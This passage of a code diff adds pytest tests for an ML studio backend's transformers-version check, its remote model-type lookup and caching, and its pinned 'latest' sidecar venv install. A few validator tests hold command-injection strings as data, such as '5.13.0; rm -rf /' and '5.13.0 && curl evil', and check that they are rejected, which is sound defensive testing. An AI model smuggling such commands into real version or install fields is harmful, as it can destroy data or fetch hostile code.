+    _stub_transformers(monkeypatch, "4.56.0")
+    assert _has_torch_dtype_kwarg() is False
+
+
+def test_just_below_boundary_uses_torch_dtype(monkeypatch):
+    _stub_transformers(monkeypatch, "4.55.4")
+    assert _has_torch_dtype_kwarg() is True
+
+
+@pytest.mark.parametrize("version", ["4.56.0.dev0", "4.56.0rc1"])
+def test_rename_prerelease_uses_dtype(monkeypatch, version):
+    """A pre-release of the rename version sorts *below* ``4.56.0`` but already
+    accepts (and prefers) ``dtype``; the release-tuple check must not fall back to
+    the legacy name there, or it re-emits the deprecation warning it suppresses."""
+    _stub_transformers(monkeypatch, version)
+    assert _has_torch_dtype_kwarg() is False
+
+
+def test_malformed_version_prefers_modern_name(monkeypatch):
+    """A non-PEP440 __version__ raises InvalidVersion; the except branch must
+    swallow it and default to the modern name rather than crash the embedder warm-up."""
+    _stub_transformers(monkeypatch, "not-a-version")
+    assert _has_torch_dtype_kwarg() is False
+    assert dtype_kwargs("float16") == {"dtype": "float16"}
+
+
+def test_missing_transformers_prefers_modern_name(monkeypatch):
+    monkeypatch.delitem(sys.modules, "transformers", raising = False)
+    real_import = __import__
+
+    def _raise(name, *args, **kwargs):
+        if name == "transformers":
+            raise ImportError("no transformers")
+        return real_import(name, *args, **kwargs)
+
+    monkeypatch.setattr("builtins.__import__", _raise)
+    assert _has_torch_dtype_kwarg() is False
+    assert dtype_kwargs("float16") == {"dtype": "float16"}
diff --git a/studio/backend/tests/test_transformers_latest.py b/studio/backend/tests/test_transformers_latest.py
new file mode 100644
index 0000000000..af48d674cc
--- /dev/null
+++ b/studio/backend/tests/test_transformers_latest.py
@@ -0,0 +1,1099 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for the latest-transformers support check and the consented sidecar install."""
+
+import ast
+import json
+import os
+import textwrap
+import time
+import pytest
+from pathlib import Path
+
+
+# The backend uses "from utils..." imports; ensure the backend dir is on sys.path.
+import sys
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# Stub the custom logger before importing the modules under test.
+import types as _types
+
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+import utils.transformers_latest as tl
+import utils.transformers_version as tv
+from utils.transformers_latest import (
+    check_upgrade_for_model,
+    install_latest_transformers,
+    latest_transformers_supports,
+    _fetch_remote_model_types,
+    _model_types_from_config,
+)
+from utils.transformers_version import (
+    _config_mapping_cache,
+    _config_json_cache,
+    _higher_tier,
+    _is_valid_version_string,
+    _model_types_from_source,
+    _tier_from_config_mapping,
+    _venv_t5_latest_packages,
+    activate_transformers_for_subprocess,
+    ensure_latest_transformers_venv,
+    get_transformers_tier,
+    latest_venv_pinned_version,
+)
+
+
+# A CONFIG_MAPPING_NAMES source exercising every construct the AST extractor supports.
+_MAPPING_SOURCE = """
+from collections import OrderedDict
+CONFIG_MAPPING_NAMES = OrderedDict(
+    [
+        ("llama", "LlamaConfig"),
+        ("gemma4", "Gemma4Config"),
+    ],
+    **{"qwen3_moe": "Qwen3MoeConfig"},
+)
+CONFIG_MAPPING_NAMES.update({"brandnew_arch": "BrandNewConfig"})
+"""
+
+_MAIN_ONLY_SOURCE = """
+CONFIG_MAPPING_NAMES = {
+    "llama": "LlamaConfig",
+    "gemma4": "Gemma4Config",
+    "qwen3_moe": "Qwen3MoeConfig",
+    "brandnew_arch": "BrandNewConfig",
+    "dev_only_arch": "DevOnlyConfig",
+}
+"""
+
+
+class _FakeResponse:
+    def __init__(self, body: bytes):
+        self._body = body
+
+    def read(self):
+        return self._body
+
+    def __enter__(self):
+        return self
+
+    def __exit__(self, *args):
+        return False
+
+
+def _fake_urlopen_factory(counter: dict):
+    """urlopen stub serving the PyPI JSON and both refs' mapping sources."""
+
+    def _fake_urlopen(req, timeout = None):
+        url = req.full_url if hasattr(req, "full_url") else str(req)
+        counter[url] = counter.get(url, 0) + 1
+        counter["__total__"] = counter.get("__total__", 0) + 1
+        if url == tl._PYPI_JSON_URL:
+            return _FakeResponse(json.dumps({"info": {"version": "5.13.0"}}).encode())
+        if "/v5.13.0/" in url and url.endswith("auto_mappings.py"):
+            return _FakeResponse(_MAPPING_SOURCE.encode())
+        if "/v5.13.0/" in url and url.endswith("configuration_auto.py"):
+            return _FakeResponse(b"CONFIG_MAPPING_NAMES = {}\n")
+        if "/main/" in url and url.endswith("auto_mappings.py"):
+            return _FakeResponse(_MAIN_ONLY_SOURCE.encode())
+        if "/main/" in url and url.endswith("configuration_auto.py"):
+            return _FakeResponse(b"CONFIG_MAPPING_NAMES = {}\n")
+        raise AssertionError(f"unexpected URL fetched: {url}")
+
+    return _fake_urlopen
+
+
+@pytest.fixture(autouse = True)
+def _isolated_caches(tmp_path: Path, monkeypatch):
+    """Fresh in-memory + on-disk caches per test; no accidental real studio_root writes."""
+    tl.clear_caches()
+    monkeypatch.setattr(tl, "_cache_file", lambda: tmp_path / "transformers_latest_check.json")
+    # The sidecar swap reservation writes a lock file next to the venv dir;
+    # point it at tmp so tests never touch the real studio root.
+    monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / "venv_t5_latest"))
+    monkeypatch.delenv("UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS", raising = False)
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    yield
+    tl.clear_caches()
+
+
+def _no_network(monkeypatch, exc = None):
+    """Fail every urlopen and return a counter; tests assert n == 0 to prove no fetch
+    happened (check_upgrade_for_model swallows exceptions, so a raising stub alone
+    cannot prove the negative)."""
+    calls = {"n": 0}
+
+    def _raise(*args, **kwargs):
+        calls["n"] += 1
+        raise (exc or OSError("network fetch attempted"))
+
+    monkeypatch.setattr("urllib.request.urlopen", _raise)
+    return calls
+
+
+# --- AST extraction shared with the static router ---
+
+
+class TestModelTypesFromSource:
+    def test_ordereddict_update_and_unpacking(self):
+        keys = _model_types_from_source(_MAPPING_SOURCE)
+        assert keys == {"llama", "gemma4", "qwen3_moe", "brandnew_arch"}
+
+    def test_plain_dict_literal(self):
+        keys = _model_types_from_source(_MAIN_ONLY_SOURCE)
+        assert "dev_only_arch" in keys and "llama" in keys
+
+    def test_syntax_error_raises_for_caller_to_handle(self):
+        with pytest.raises(SyntaxError):
+            _model_types_from_source("def broken(:\n")
+
+
+class TestFetchRemoteModelTypes:
+    def test_merges_both_auto_files(self, monkeypatch):
+        counter = {}
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory(counter))
+        keys = _fetch_remote_model_types("v5.13.0")
+        assert keys is not None and "brandnew_arch" in keys
+
+    def test_all_fetches_failing_returns_none(self, monkeypatch):
+        _no_network(monkeypatch, exc = OSError("no route"))
+        assert _fetch_remote_model_types("main") is None
+
+    def test_empty_mapping_treated_as_failure(self, monkeypatch):
+        monkeypatch.setattr(
+            "urllib.request.urlopen",
+            lambda req, timeout = None: _FakeResponse(b"CONFIG_MAPPING_NAMES = {}\n"),
+        )
+        assert _fetch_remote_model_types("main") is None
+
+    def test_transient_failure_of_one_file_fails_whole_lookup(self, monkeypatch):
+        # One file times out: the partial map must not be returned and cached.
+        def _fake(req, timeout = None):
+            url = req.full_url if hasattr(req, "full_url") else str(req)
+            if url.endswith("configuration_auto.py"):
+                return _FakeResponse(_MAPPING_SOURCE.encode())
+            raise OSError("timed out")
+
+        monkeypatch.setattr("urllib.request.urlopen", _fake)
+        assert _fetch_remote_model_types("main") is None
+
+    def test_missing_auto_mappings_404_still_succeeds(self, monkeypatch):
+        # Pre-5.10 tags have no auto_mappings.py; a 404 must not fail the lookup.
+        import urllib.error
+
+        def _fake(req, timeout = None):
+            url = req.full_url if hasattr(req, "full_url") else str(req)
+            if url.endswith("configuration_auto.py"):
+                return _FakeResponse(_MAPPING_SOURCE.encode())
+            raise urllib.error.HTTPError(url, 404, "Not Found", None, None)
+
+        monkeypatch.setattr("urllib.request.urlopen", _fake)
+        keys = _fetch_remote_model_types("v5.9.0")
+        assert keys is not None and "brandnew_arch" in keys
+
+    def test_unparseable_file_fails_whole_lookup(self, monkeypatch):
+        def _fake(req, timeout = None):
+            url = req.full_url if hasattr(req, "full_url") else str(req)
+            if url.endswith("configuration_auto.py"):
+                return _FakeResponse(_MAPPING_SOURCE.encode())
+            return _FakeResponse(b"def broken(:\n")
+
+        monkeypatch.setattr("urllib.request.urlopen", _fake)
+        assert _fetch_remote_model_types("main") is None
+
+
+# --- latest_transformers_supports: snapshot, cache, offline, kill switch ---
+
+
+class TestLatestTransformersSupports:
+    def test_supported_in_pypi(self, monkeypatch):
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+        result = latest_transformers_supports("brandnew_arch")
+        assert result == {
+            "pypi_version": "5.13.0",
+            "supported_in_pypi": True,
+            "supported_in_main": True,
+        }
+
+    def test_dev_only_arch_reported_main_only(self, monkeypatch):
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+        result = latest_transformers_supports("dev_only_arch")
+        assert result["supported_in_pypi"] is False
+        assert result["supported_in_main"] is True
+
+    def test_unknown_everywhere(self, monkeypatch):
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+        result = latest_transformers_supports("no_such_arch")
+        assert result["supported_in_pypi"] is False and result["supported_in_main"] is False
+
+    def test_network_failure_returns_none(self, monkeypatch):
+        _no_network(monkeypatch, exc = OSError("down"))
+        assert latest_transformers_supports("brandnew_arch") is None
+
+    def test_offline_returns_none_without_fetch(self, monkeypatch):
+        monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+        calls = _no_network(monkeypatch)
+        assert latest_transformers_supports("brandnew_arch") is None
+        assert calls["n"] == 0
+
+    def test_kill_switch_returns_none_without_fetch(self, monkeypatch):
+        monkeypatch.setenv("UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS", "1")
+        calls = _no_network(monkeypatch)
+        assert latest_transformers_supports("brandnew_arch") is None
+        assert calls["n"] == 0
+
+    def test_memory_cache_hit_avoids_refetch(self, monkeypatch):
+        counter = {}
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory(counter))
+        latest_transformers_supports("brandnew_arch")
+        first_total = counter["__total__"]
+        latest_transformers_supports("some_other_arch")
+        assert counter["__total__"] == first_total
+
+    def test_disk_cache_survives_restart(self, monkeypatch):
+        counter = {}
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory(counter))
+        latest_transformers_supports("brandnew_arch")
+        # Simulate a restart: memory gone, disk snapshot stays, network unavailable.
+        tl.clear_caches()
+        _no_network(monkeypatch)
+        result = latest_transformers_supports("brandnew_arch")
+        assert result is not None and result["supported_in_pypi"] is True
+
+    def test_expired_snapshot_refetches(self, monkeypatch):
+        counter = {}
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory(counter))
+        latest_transformers_supports("brandnew_arch")
+        stale = dict(tl._memory_snapshot, fetched_at = time.time() - tl._CACHE_TTL_SECONDS - 1)
+        tl.clear_caches()
+        tl._save_snapshot_file(stale)
+        first_total = counter["__total__"]
+        latest_transformers_supports("brandnew_arch")
+        assert counter["__total__"] > first_total
+
+    def test_corrupt_disk_cache_ignored(self, monkeypatch, tmp_path: Path):
+        counter = {}
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory(counter))
+        tl._cache_file().write_text("{not json", encoding = "utf-8")
+        result = latest_transformers_supports("brandnew_arch")
+        assert result is not None and counter["__total__"] > 0
+
+    def test_failure_backoff_skips_immediate_retry(self, monkeypatch):
+        calls = {"n": 0}
+
+        def _fail(*args, **kwargs):
+            calls["n"] += 1
+            raise OSError("down")
+
+        monkeypatch.setattr("urllib.request.urlopen", _fail)
+        assert latest_transformers_supports("brandnew_arch") is None
+        first = calls["n"]
+        assert latest_transformers_supports("brandnew_arch") is None
+        assert calls["n"] == first  # backed off, no second network attempt
+
+
+# --- check_upgrade_for_model: the tier hook ---
+
+
+def _local_model(tmp_path: Path, model_type: str) -> str:
+    d = tmp_path / f"model_{model_type}"
+    d.mkdir()
+    (d / "config.json").write_text(json.dumps({"model_type": model_type}))
+    return str(d)
+
+
+_FAKE_OVERLAYS = {
+    "default": frozenset({"llama", "bert", "gpt2"}),
+    "530": frozenset({"qwen3_moe", "qwen3_next"}),
+    "550": frozenset({"gemma4"}),
+    "510": frozenset({"gemma4_unified"}),
+    "latest": frozenset(),
+}
+
+
+def _fake_overlays(monkeypatch, overlays = None):
+    overlays = overlays or _FAKE_OVERLAYS
+    fake = lambda tier: overlays.get(tier, frozenset())
+    monkeypatch.setattr(tv, "_config_model_types", fake)
+    monkeypatch.setattr(tl, "_config_model_types", fake)
+
+
+class TestCheckUpgradeForModel:
+    def test_unknown_type_supported_in_pypi_signals(self, tmp_path: Path, monkeypatch):
+        _fake_overlays(monkeypatch)
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+        result = check_upgrade_for_model(_local_model(tmp_path, "brandnew_arch"))
+        assert result == {
+            "model_type": "brandnew_arch",
+            "pypi_version": "5.13.0",
+            "supported_in_pypi": True,
+            "supported_in_main": True,
+        }
+
+    def test_dev_only_type_signals_main_only(self, tmp_path: Path, monkeypatch):
+        _fake_overlays(monkeypatch)
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+        result = check_upgrade_for_model(_local_model(tmp_path, "dev_only_arch"))
+        assert result["supported_in_pypi"] is False and result["supported_in_main"] is True
+
+    def test_unknown_everywhere_falls_through(self, tmp_path: Path, monkeypatch):
+        _fake_overlays(monkeypatch)
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+        assert check_upgrade_for_model(_local_model(tmp_path, "no_such_arch")) is None
+
+    def test_offline_falls_through_without_fetch(self, tmp_path: Path, monkeypatch):
+        _fake_overlays(monkeypatch)
+        monkeypatch.setenv("TRANSFORMERS_OFFLINE", "1")
+        calls = _no_network(monkeypatch)
+        assert check_upgrade_for_model(_local_model(tmp_path, "brandnew_arch")) is None
+        assert calls["n"] == 0
+
+    def test_network_failure_falls_through(self, tmp_path: Path, monkeypatch):
+        _fake_overlays(monkeypatch)
+        _no_network(monkeypatch, exc = OSError("down"))
+        assert check_upgrade_for_model(_local_model(tmp_path, "brandnew_arch")) is None
+
+    def test_known_default_type_never_fetches(self, tmp_path: Path, monkeypatch):
+        _fake_overlays(monkeypatch)
+        calls = _no_network(monkeypatch)
+        assert check_upgrade_for_model(_local_model(tmp_path, "llama")) is None
+        assert calls["n"] == 0
+
+    def test_known_sidecar_type_never_fetches(self, tmp_path: Path, monkeypatch):
+        _fake_overlays(monkeypatch)
+        calls = _no_network(monkeypatch)
+        assert check_upgrade_for_model(_local_model(tmp_path, "gemma4_unified")) is None
+        assert calls["n"] == 0
+
+    def test_hardcoded_tier_type_never_fetches_even_without_overlays(
+        self, tmp_path: Path, monkeypatch
+    ):
+        # Sidecar overlays unreadable, but the hardcoded tables route it.
+        _fake_overlays(
+            monkeypatch,
+            {"default": frozenset({"llama"})},
+        )
+        calls = _no_network(monkeypatch)
+        assert check_upgrade_for_model(_local_model(tmp_path, "qwen3_5_moe")) is None
+        assert calls["n"] == 0
+
+    def test_unreadable_default_overlay_bails_out(self, tmp_path: Path, monkeypatch):
+        _fake_overlays(monkeypatch, {"default": frozenset()})
+        calls = _no_network(monkeypatch)
+        assert check_upgrade_for_model(_local_model(tmp_path, "brandnew_arch")) is None
+        assert calls["n"] == 0
+
+    def test_no_model_type_falls_through(self, tmp_path: Path, monkeypatch):
+        _fake_overlays(monkeypatch)
+        _no_network(monkeypatch)
+        d = tmp_path / "no_type"
+        d.mkdir()
+        (d / "config.json").write_text(json.dumps({"architectures": ["Whatever"]}))
+        assert check_upgrade_for_model(str(d)) is None
+
+    def test_nested_model_type_is_used(self, tmp_path: Path, monkeypatch):
+        _fake_overlays(monkeypatch)
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+        d = tmp_path / "nested"
+        d.mkdir()
+        (d / "config.json").write_text(json.dumps({"text_config": {"model_type": "brandnew_arch"}}))
+        result = check_upgrade_for_model(str(d))
+        assert result is not None and result["model_type"] == "brandnew_arch"
+
+    def test_never_raises_on_internal_error(self, monkeypatch):
+        monkeypatch.setattr(
+            tl, "_load_config_json", lambda *a, **k: (_ for _ in ()).throw(RuntimeError("boom"))
+        )
+        assert check_upgrade_for_model("some/model") is None
+
+
+class TestNestedModelTypeExtraction:
+    def test_top_level_wins(self):
+        assert _model_types_from_config(
+            {"model_type": "a", "text_config": {"model_type": "b"}}
+        ) == ["a", "b"]
+
+    def test_nested_fallback(self):
+        assert _model_types_from_config({"llm_config": {"model_type": "b"}}) == ["b"]
+
+    def test_missing_returns_none(self):
+        assert _model_types_from_config({}) == []
+
+
+# --- Routing parity: overlay-shipped model_types route as before, never remote-check ---
+
+
+class TestRoutingParity:
+    def test_all_overlay_types_route_identically_and_never_check(self, tmp_path: Path, monkeypatch):
+        _fake_overlays(monkeypatch)
+        calls = _no_network(monkeypatch)
+        expected_tier = {
+            "llama": "default",
+            "bert": "default",
+            "gpt2": "default",
+            "qwen3_moe": "530",
+            "qwen3_next": "530",
+            "gemma4": "550",
+            "gemma4_unified": "510",
+        }
+        for model_type, tier in expected_tier.items():
+            cfg = {"model_type": model_type}
+            assert _tier_from_config_mapping(cfg) == tier, model_type
+            assert check_upgrade_for_model(_local_model(tmp_path, model_type)) is None
+        assert calls["n"] == 0
+
+    def test_real_installed_mappings_route_without_checker(self, monkeypatch, tmp_path: Path):
+        """Parity over the REAL installed overlays (base + any provisioned sidecar):
+        every shipped model_type resolves statically, so the remote checker never
+        fires and routing is byte-identical with the feature enabled."""
+        _no_network(monkeypatch)
+        seen = 0
+        for tier in ("default", "530", "550", "510"):
+            types = tv._config_model_types(tier)
+            if not types:
+                continue  # overlay not provisioned in this environment
+            for model_type in types:
+                assert _tier_from_config_mapping({"model_type": model_type}) is not None
+                seen += 1
+        if seen == 0:
+            pytest.skip("no transformers overlay available in this environment")
+
+    def test_get_tier_unchanged_by_kill_switch(self, tmp_path: Path, monkeypatch):
+        _fake_overlays(monkeypatch)
+        _no_network(monkeypatch)
+        path = _local_model(tmp_path, "no_such_arch")
+        _config_json_cache.clear()
+        tier_default = get_transformers_tier(path, probe = False)
+        monkeypatch.setenv("UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS", "1")
+        _config_json_cache.clear()
+        assert get_transformers_tier(path, probe = False) == tier_default == "default"
+
+
+# --- .venv_t5_latest provisioning and routing participation ---
+
+
+class TestLatestVenvProvisioning:
+    def test_version_string_validation(self):
+        assert _is_valid_version_string("5.13.0")
+        assert _is_valid_version_string("5.14.0rc1")
+        assert not _is_valid_version_string("5.13.0; rm -rf /")
+        assert not _is_valid_version_string("git+https://evil")
+        assert not _is_valid_version_string("")
+
+    def test_packages_pin_exact_version(self):
+        pkgs = _venv_t5_latest_packages("5.13.0")
+        assert pkgs[0] == "transformers==5.13.0"
+        assert any(p.startswith("huggingface_hub==") for p in pkgs)
+
+    def test_ensure_latest_writes_pin_and_invalidates_cache(self, tmp_path: Path, monkeypatch):
+        venv_dir = tmp_path / ".venv_t5_latest"
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(venv_dir))
+        recorded = {}
+
+        def _fake_ensure(dir_, packages, label):
+            recorded["dir"] = dir_
+            recorded["packages"] = packages
+            Path(dir_).mkdir(parents = True, exist_ok = True)
+            return True
+
+        monkeypatch.setattr(tv, "_ensure_venv_dir", _fake_ensure)
+        _config_mapping_cache["latest"] = frozenset({"stale"})
+        assert ensure_latest_transformers_venv("5.13.0") is True
+        # Stage-and-swap: pip installs into staging, the live dir is the swap result.
+        assert recorded["dir"] == str(venv_dir) + ".staging"
+        assert "transformers==5.13.0" in recorded["packages"]
+        assert venv_dir.is_dir()
+        assert not Path(str(venv_dir) + ".staging").exists()
+        assert latest_venv_pinned_version() == "5.13.0"
+        assert "latest" not in _config_mapping_cache
+
+    def test_ensure_latest_upgrade_failure_keeps_old_sidecar(self, tmp_path: Path, monkeypatch):
+        venv_dir = tmp_path / ".venv_t5_latest"
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(venv_dir))
+        venv_dir.mkdir(parents = True)
+        (venv_dir / tv._LATEST_PIN_MARKER).write_text(
+            json.dumps({"version": "5.12.0", "packages": ["transformers==5.12.0"]})
+        )
+        (venv_dir / "transformers").mkdir()
+        monkeypatch.setattr(tv, "_venv_dir_is_valid", lambda *a, **k: True)
+        # Install fails mid-flight: the previous sidecar and pin survive.
+        monkeypatch.setattr(tv, "_ensure_venv_dir", lambda *a, **k: False)
+        assert ensure_latest_transformers_venv("5.13.0") is False
+        assert latest_venv_pinned_version() == "5.12.0"
+        assert (venv_dir / "transformers").is_dir()
+        assert not Path(str(venv_dir) + ".staging").exists()
+
+    def test_ensure_latest_rejects_bad_version(self, tmp_path: Path, monkeypatch):
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / ".venv_t5_latest"))
+        monkeypatch.setattr(
+            tv,
+            "_ensure_venv_dir",
+            lambda *a: (_ for _ in ()).throw(AssertionError("must not install")),
+        )
+        assert ensure_latest_transformers_venv("5.13.0 && curl evil") is False
+
+    def test_ensure_latest_offline_refuses(self, tmp_path: Path, monkeypatch):
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / ".venv_t5_latest"))
+        monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+        monkeypatch.setattr(
+            tv,
+            "_ensure_venv_dir",
+            lambda *a: (_ for _ in ()).throw(AssertionError("must not install")),
+        )
+        assert ensure_latest_transformers_venv("5.13.0") is False
+
+    def test_unpinned_sidecar_never_installs(self, tmp_path: Path, monkeypatch):
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / ".venv_t5_latest"))
+        monkeypatch.setattr(
+            tv,
+            "_ensure_venv_dir",
+            lambda *a: (_ for _ in ()).throw(AssertionError("must not install")),
+        )
+        assert tv._ensure_venv_t5_latest_exists() is False
+
+    def test_pinned_sidecar_repairs_with_same_version(self, tmp_path: Path, monkeypatch):
+        venv_dir = tmp_path / ".venv_t5_latest"
+        venv_dir.mkdir()
+        (venv_dir / tv._LATEST_PIN_MARKER).write_text("5.13.0")
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(venv_dir))
+        monkeypatch.setattr(tv, "_venv_dir_is_valid", lambda *a: False)
+        recorded = {}
+
+        def _fake_ensure(dir_, packages, label):
+            recorded["dir"] = dir_
+            recorded["packages"] = packages
+            Path(dir_).mkdir(parents = True, exist_ok = True)
+            return True
+
+        monkeypatch.setattr(tv, "_ensure_venv_dir", _fake_ensure)
+        assert tv._ensure_venv_t5_latest_exists() is True
+        # Repair also stage-and-swaps, never installing into the live dir.
+        assert recorded["dir"] == str(venv_dir) + ".staging"
+        assert "transformers==5.13.0" in recorded["packages"]
+        assert latest_venv_pinned_version() == "5.13.0"
+
+
+class TestLatestTierRouting:
+    def test_latest_outranks_510(self):
+        assert _higher_tier("latest", "510") == "latest"
+        assert _higher_tier("510", "latest") == "latest"
+
+    def test_tier_from_mapping_prefers_lowest_but_reaches_latest(self, monkeypatch):
+        overlays = dict(_FAKE_OVERLAYS)
+        overlays["latest"] = frozenset({"brandnew_arch"})
+        _fake_overlays(monkeypatch, overlays)
+        assert _tier_from_config_mapping({"model_type": "brandnew_arch"}) == "latest"
+        # Anything a lower tier ships stays on the lower tier.
+        assert _tier_from_config_mapping({"model_type": "qwen3_moe"}) == "530"
+
+    def test_overlay_dir_for_latest(self, tmp_path: Path, monkeypatch):
+        venv_dir = tmp_path / ".venv_t5_latest"
+        (venv_dir / "transformers").mkdir(parents = True)
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(venv_dir))
+        # Unpinned dir is ignored: activation refuses an unpinned sidecar.
+        assert tv._overlay_transformers_dir("latest") is None
+        (venv_dir / tv._LATEST_PIN_MARKER).write_text("5.13.0")
+        assert tv._overlay_transformers_dir("latest") == str(venv_dir / "transformers")
+
+    def test_probe_order_excludes_unprovisioned_latest(self, tmp_path: Path, monkeypatch):
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / ".venv_t5_latest"))
+        assert tv._probe_tier_order() == tv._PROBE_TIER_ORDER
+
+    def test_probe_order_includes_provisioned_latest(self, tmp_path: Path, monkeypatch):
+        venv_dir = tmp_path / ".venv_t5_latest"
+        venv_dir.mkdir()
+        (venv_dir / tv._LATEST_PIN_MARKER).write_text("5.13.0")
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(venv_dir))
+        assert tv._probe_tier_order() == tv._PROBE_TIER_ORDER + ("latest",)
+
+    def test_activation_prepends_latest_dir(self, tmp_path: Path, monkeypatch):
+        venv_dir = tmp_path / ".venv_t5_latest"
+        venv_dir.mkdir()
+        (venv_dir / tv._LATEST_PIN_MARKER).write_text("5.13.0")
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(venv_dir))
+        monkeypatch.setattr(tv, "get_transformers_tier", lambda *a, **k: "latest")
+        monkeypatch.setattr(tv, "_ensure_venv_t5_latest_exists", lambda: True)
+        old_sys_path = list(sys.path)
+        old_pp = os.environ.get("PYTHONPATH")
+        try:
+            activate_transformers_for_subprocess("some/brand-new-model")
+            assert sys.path[0] == str(venv_dir)
+            assert os.environ["PYTHONPATH"].split(os.pathsep)[0] == str(venv_dir)
+        finally:
+            sys.path[:] = old_sys_path
+            if old_pp is None:
+                os.environ.pop("PYTHONPATH", None)
+            else:
+                os.environ["PYTHONPATH"] = old_pp
+
+    def test_activation_raises_when_latest_missing(self, tmp_path: Path, monkeypatch):
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / ".venv_t5_latest"))
+        monkeypatch.setattr(tv, "get_transformers_tier", lambda *a, **k: "latest")
+        with pytest.raises(RuntimeError, match = "venv_t5_latest"):
+            activate_transformers_for_subprocess("some/brand-new-model")
+
+
+# --- install_latest_transformers: the consent endpoint helper ---
+
+
+class TestInstallLatestTransformers:
+    def test_success_path(self, monkeypatch):
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+        monkeypatch.setattr(tl, "compat_plan", lambda v: ((), []))
+        recorded = {}
+
+        def _fake_ensure(
+            version,
+            extra_packages = (),
+            before_swap = None,
+        ):
+            recorded["args"] = (version, extra_packages)
+            return True
+
+        monkeypatch.setattr(tl, "ensure_latest_transformers_venv", _fake_ensure)
+        monkeypatch.setattr(tl, "latest_venv_pinned_version", lambda: "5.13.0")
+        result = install_latest_transformers("5.13.0")
+        assert result["success"] is True and result["version"] == "5.13.0"
+        assert recorded["args"] == ("5.13.0", ())
+
+    def test_version_mismatch_rejected(self, monkeypatch):
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+        monkeypatch.setattr(
+            tl,
+            "ensure_latest_transformers_venv",
+            lambda v, extra_packages = (): (_ for _ in ()).throw(AssertionError("must not install")),
+        )
+        result = install_latest_transformers("4.99.0")
+        assert result["success"] is False and "not the latest" in result["message"]
+
+    def test_offline_rejected(self, monkeypatch):
+        monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+        _no_network(monkeypatch)
+        result = install_latest_transformers("5.13.0")
+        assert result["success"] is False and "offline" in result["message"].lower()
+
+    def test_kill_switch_rejected(self, monkeypatch):
+        monkeypatch.setenv("UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS", "1")
+        _no_network(monkeypatch)
+        result = install_latest_transformers("5.13.0")
+        assert result["success"] is False
+
+    def test_install_failure_reported(self, monkeypatch):
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+        monkeypatch.setattr(tl, "compat_plan", lambda v: ((), []))
+        monkeypatch.setattr(
+            tl,
+            "ensure_latest_transformers_venv",
+            lambda v, extra_packages = (), before_swap = None: False,
+        )
+        result = install_latest_transformers("5.13.0")
+        assert result["success"] is False and "failed" in result["message"]
+
+    def test_blocked_by_incompatible_deps(self, monkeypatch):
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+        monkeypatch.setattr(tl, "compat_plan", lambda v: ((), ["numpy>=99.0"]))
+        monkeypatch.setattr(
+            tl,
+            "ensure_latest_transformers_venv",
+            lambda v, extra_packages = (): (_ for _ in ()).throw(AssertionError("must not install")),
+        )
+        result = install_latest_transformers("5.13.0")
+        assert result["success"] is False and "numpy>=99.0" in result["message"]
+
+    def test_compat_shadows_passed_to_installer(self, monkeypatch):
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+        monkeypatch.setattr(tl, "compat_plan", lambda v: (("tokenizers==0.23.0",), []))
+        recorded = {}
+
+        def _fake_ensure(
+            version,
+            extra_packages = (),
+            before_swap = None,
+        ):
+            recorded["extras"] = extra_packages
+            return True
+
+        monkeypatch.setattr(tl, "ensure_latest_transformers_venv", _fake_ensure)
+        monkeypatch.setattr(tl, "latest_venv_pinned_version", lambda: "5.13.0")
+        result = install_latest_transformers("5.13.0")
+        assert result["success"] is True
+        assert recorded["extras"] == ("tokenizers==0.23.0",)
+
+
+class TestCompatPlan:
+    def _patch_env(self, monkeypatch, requires, installed):
+        monkeypatch.setattr(tl, "_fetch_requires_dist", lambda v: requires)
+
+        def _ver(name):
